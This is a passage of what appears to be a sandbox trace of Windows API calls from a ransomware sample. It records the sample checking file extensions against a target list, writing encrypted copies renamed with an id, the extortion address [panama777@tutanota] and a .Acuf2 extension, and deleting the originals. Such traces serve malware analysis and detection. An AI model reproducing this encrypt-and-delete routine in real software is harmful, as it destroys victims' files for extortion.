	[0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.360] lstrlenW (lpString=".doc") returned 4
	[0255.360] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.360] lstrlenW (lpString=".docx") returned 5
	[0255.360] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.360] lstrlenW (lpString=".pdf") returned 4
	[0255.360] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.360] lstrlenW (lpString=".xls") returned 4
	[0255.360] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.360] lstrlenW (lpString=".xlsx") returned 5
	[0255.360] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.360] lstrlenW (lpString=".ppt") returned 4
	[0255.360] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.360] lstrlenW (lpString=".zip") returned 4
	[0255.360] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.360] lstrlenW (lpString=".rar") returned 4
	[0255.360] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.360] lstrlenW (lpString=".bz2") returned 4
	[0255.361] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.361] lstrlenW (lpString=".7z") returned 3
	[0255.361] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.361] lstrlenW (lpString=".dbf") returned 4
	[0255.361] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.361] lstrlenW (lpString=".1cd") returned 4
	[0255.361] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.361] lstrlenW (lpString=".jpg") returned 4
	[0255.361] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.361] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.361] lstrlenW (lpString="PARNT_02.MID") returned 12
	[0255.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.361] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=5714) returned 1
	[0255.361] CloseHandle (hObject=0x334) returned 1
	[0255.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20
	[0255.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.362] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.362] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.363] GetLastError () returned 0x0
	[0255.363] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x1652, lpOverlapped=0x0) returned 1
	[0255.367] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1660, lpOverlapped=0x0) returned 1
	[0255.368] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.368] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.368] SetEndOfFile (hFile=0x354) returned 1
	[0255.368] CloseHandle (hObject=0x354) returned 1
	[0255.368] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.368] SetEndOfFile (hFile=0x334) returned 1
	[0255.370] CloseHandle (hObject=0x334) returned 1
	[0255.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1
	[0255.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.371] lstrlenW (lpString=".doc") returned 4
	[0255.371] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.371] lstrlenW (lpString=".docx") returned 5
	[0255.371] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0255.371] lstrlenW (lpString=".pdf") returned 4
	[0255.371] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.371] lstrlenW (lpString=".xls") returned 4
	[0255.371] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.371] lstrlenW (lpString=".xlsx") returned 5
	[0255.371] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0255.371] lstrlenW (lpString=".ppt") returned 4
	[0255.371] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.371] lstrlenW (lpString=".zip") returned 4
	[0255.371] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.371] lstrlenW (lpString=".rar") returned 4
	[0255.371] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.371] lstrlenW (lpString=".bz2") returned 4
	[0255.372] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.372] lstrlenW (lpString=".7z") returned 3
	[0255.372] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.372] lstrlenW (lpString=".dbf") returned 4
	[0255.372] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.372] lstrlenW (lpString=".1cd") returned 4
	[0255.372] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.372] lstrlenW (lpString=".jpg") returned 4
	[0255.372] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.372] lstrlenW (lpString=".doc") returned 4
	[0255.372] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.372] lstrlenW (lpString=".docx") returned 5
	[0255.372] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0255.372] lstrlenW (lpString=".pdf") returned 4
	[0255.372] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.372] lstrlenW (lpString=".xls") returned 4
	[0255.372] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.372] lstrlenW (lpString=".xlsx") returned 5
	[0255.372] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0255.372] lstrlenW (lpString=".ppt") returned 4
	[0255.372] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.372] lstrlenW (lpString=".zip") returned 4
	[0255.372] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.372] lstrlenW (lpString=".rar") returned 4
	[0255.372] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.373] lstrlenW (lpString=".bz2") returned 4
	[0255.373] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.373] lstrlenW (lpString=".7z") returned 3
	[0255.373] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.373] lstrlenW (lpString=".dbf") returned 4
	[0255.373] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.373] lstrlenW (lpString=".1cd") returned 4
	[0255.373] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63
	[0255.373] lstrlenW (lpString=".jpg") returned 4
	[0255.373] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.373] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.373] lstrlenW (lpString="PARNT_03.MID") returned 12
	[0255.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.374] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=8538) returned 1
	[0255.374] CloseHandle (hObject=0x334) returned 1
	[0255.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20
	[0255.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.374] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.374] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.375] GetLastError () returned 0x0
	[0255.375] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x215a, lpOverlapped=0x0) returned 1
	[0255.377] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2160, lpOverlapped=0x0) returned 1
	[0255.378] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.378] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.378] SetEndOfFile (hFile=0x354) returned 1
	[0255.378] CloseHandle (hObject=0x354) returned 1
	[0255.378] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.378] SetEndOfFile (hFile=0x334) returned 1
	[0255.382] CloseHandle (hObject=0x334) returned 1
	[0255.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1
	[0255.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.383] lstrlenW (lpString=".doc") returned 4
	[0255.383] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.383] lstrlenW (lpString=".docx") returned 5
	[0255.383] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0255.383] lstrlenW (lpString=".pdf") returned 4
	[0255.383] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.383] lstrlenW (lpString=".xls") returned 4
	[0255.383] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.383] lstrlenW (lpString=".xlsx") returned 5
	[0255.383] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0255.383] lstrlenW (lpString=".ppt") returned 4
	[0255.383] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.383] lstrlenW (lpString=".zip") returned 4
	[0255.383] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.383] lstrlenW (lpString=".rar") returned 4
	[0255.383] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.383] lstrlenW (lpString=".bz2") returned 4
	[0255.383] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.383] lstrlenW (lpString=".7z") returned 3
	[0255.383] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.383] lstrlenW (lpString=".dbf") returned 4
	[0255.383] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.384] lstrlenW (lpString=".1cd") returned 4
	[0255.384] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.384] lstrlenW (lpString=".jpg") returned 4
	[0255.384] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.384] lstrlenW (lpString=".doc") returned 4
	[0255.384] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.384] lstrlenW (lpString=".docx") returned 5
	[0255.384] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0255.384] lstrlenW (lpString=".pdf") returned 4
	[0255.384] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.384] lstrlenW (lpString=".xls") returned 4
	[0255.384] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.384] lstrlenW (lpString=".xlsx") returned 5
	[0255.384] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0255.384] lstrlenW (lpString=".ppt") returned 4
	[0255.384] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.384] lstrlenW (lpString=".zip") returned 4
	[0255.384] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.384] lstrlenW (lpString=".rar") returned 4
	[0255.384] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.384] lstrlenW (lpString=".bz2") returned 4
	[0255.384] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.385] lstrlenW (lpString=".7z") returned 3
	[0255.385] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.385] lstrlenW (lpString=".dbf") returned 4
	[0255.385] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.385] lstrlenW (lpString=".1cd") returned 4
	[0255.385] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63
	[0255.385] lstrlenW (lpString=".jpg") returned 4
	[0255.385] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.385] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.385] lstrlenW (lpString="PARNT_04.MID") returned 12
	[0255.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.386] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6070) returned 1
	[0255.386] CloseHandle (hObject=0x334) returned 1
	[0255.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20
	[0255.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.387] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.387] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.388] GetLastError () returned 0x0
	[0255.388] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x17b6, lpOverlapped=0x0) returned 1
	[0255.389] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x17c0, lpOverlapped=0x0) returned 1
	[0255.390] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.390] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.390] SetEndOfFile (hFile=0x354) returned 1
	[0255.390] CloseHandle (hObject=0x354) returned 1
	[0255.390] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.390] SetEndOfFile (hFile=0x334) returned 1
	[0255.392] CloseHandle (hObject=0x334) returned 1
	[0255.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1
	[0255.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.393] lstrlenW (lpString=".doc") returned 4
	[0255.393] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.393] lstrlenW (lpString=".docx") returned 5
	[0255.393] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0255.393] lstrlenW (lpString=".pdf") returned 4
	[0255.393] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.393] lstrlenW (lpString=".xls") returned 4
	[0255.393] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.393] lstrlenW (lpString=".xlsx") returned 5
	[0255.393] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0255.393] lstrlenW (lpString=".ppt") returned 4
	[0255.393] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.393] lstrlenW (lpString=".zip") returned 4
	[0255.393] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.393] lstrlenW (lpString=".rar") returned 4
	[0255.394] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.394] lstrlenW (lpString=".bz2") returned 4
	[0255.394] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.394] lstrlenW (lpString=".7z") returned 3
	[0255.394] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.394] lstrlenW (lpString=".dbf") returned 4
	[0255.394] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.394] lstrlenW (lpString=".1cd") returned 4
	[0255.394] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.394] lstrlenW (lpString=".jpg") returned 4
	[0255.394] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63
	[0255.394] lstrlenW (lpString=".doc") returned 4
	[0255.394] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.394] lstrlenW (lpString=".docx") returned 5
	[0255.394] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0255.394] lstrlenW (lpString=".pdf") returned 4
	[0255.394] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.394] lstrlenW (lpString=".xls") returned 4
